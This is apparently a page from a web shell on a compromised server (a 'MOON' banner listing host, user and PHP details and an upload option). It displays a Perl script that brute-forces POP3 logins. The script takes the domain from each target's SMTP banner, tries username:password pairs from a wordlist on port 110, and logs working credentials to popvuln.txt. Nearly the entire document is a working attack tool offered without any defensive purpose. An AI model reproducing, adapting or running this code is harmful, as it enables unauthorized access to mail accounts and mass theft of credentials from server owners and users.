MOON
Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4
System: Linux vps.panamaemb.org.sg 3.10.0-1160.80.1.vz7.191.4 #1 SMP Thu Dec 15 20:31:06 MSK 2022 x86_64
User: panama (500)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: //proc/2/cwd/proc/3/cwd/ScN/smtp/process
#!/usr/bin/perl

use IO::Socket qw(:DEFAULT :crlf);

$file = $ARGV[0];
chomp $file;

sub popcheck {

$host = shift;
chomp $host;

if( $host =~ m/^(\d\d?\d?)\.(\d\d?\d?)\.(\d\d?\d?)\.(\d\d?\d?)/ )
{

undef $domain;
undef $stimeout;
undef $foundcount;

my $foundcount = 0;

$nicefile = "users.txt";

open(IN_FILE, $nicefile);
@data=<IN_FILE>;
close IN_FILE;

my $count = 0;

for $line (@data){

$count++;

if (!$stimeout) {

chomp $line;


($user,$mypass) = split (/:/,$line);

eval {

local $SIG{ALRM} = sub {$stimeout = 1;
                       die "1";
                       };
alarm 15;

my $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 25);

print $socket ".\n\n";
$answer = <$socket>;
close $socket;

($domain) = $answer =~ m/220 (.*?) /;
$domain =~ /([^.]+\.[a-z]+)$/;
$domain = $1;

$username = "$user\@$domain"; # format masks for user name and password for

if ($domain ne "") {
my $socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 110);


$answer = <$socket>;
#print "$answer\n";
# send username, pass
print $socket "user " . $username,CRLF;
$answer = <$socket>;
print $socket "pass " . $mypass,CRLF;
$answer = <$socket>;
#print "$answer\n";
if ($answer =~ /\+OK/) {
$foundcount++;
$niceprint = "$host,$username,$mypass";

alarm 0;
      

      }

     $sortfile = "popvuln.txt";

     open(IN_FILE, $sortfile);
     @sortdata=<IN_FILE>;
     close IN_FILE;
     $sortin = "@sortdata";

     if ( ($foundcount == 1) && ($count >= 2)) {
     if ($sortin !~ /$username/) {
     open(OUT, ">>popvuln.txt");
     print OUT "$niceprint\n";
     close OUT;
     }
     }
    }

   }


  }

 }



}


}


$hostfile = "temp/$file";

open(HOST_FILE, $hostfile);
@hosts=<HOST_FILE>;
close HOST_FILE;

foreach $host (@hosts){
#print $host;
popcheck($host);
open(OUT, ">>temp/doneservers.txt");
print OUT "$host\n";
close OUT;
}

open(OUT, ">>temp/doneprocesses.txt");
print OUT "$file\n";
close OUT;

exit;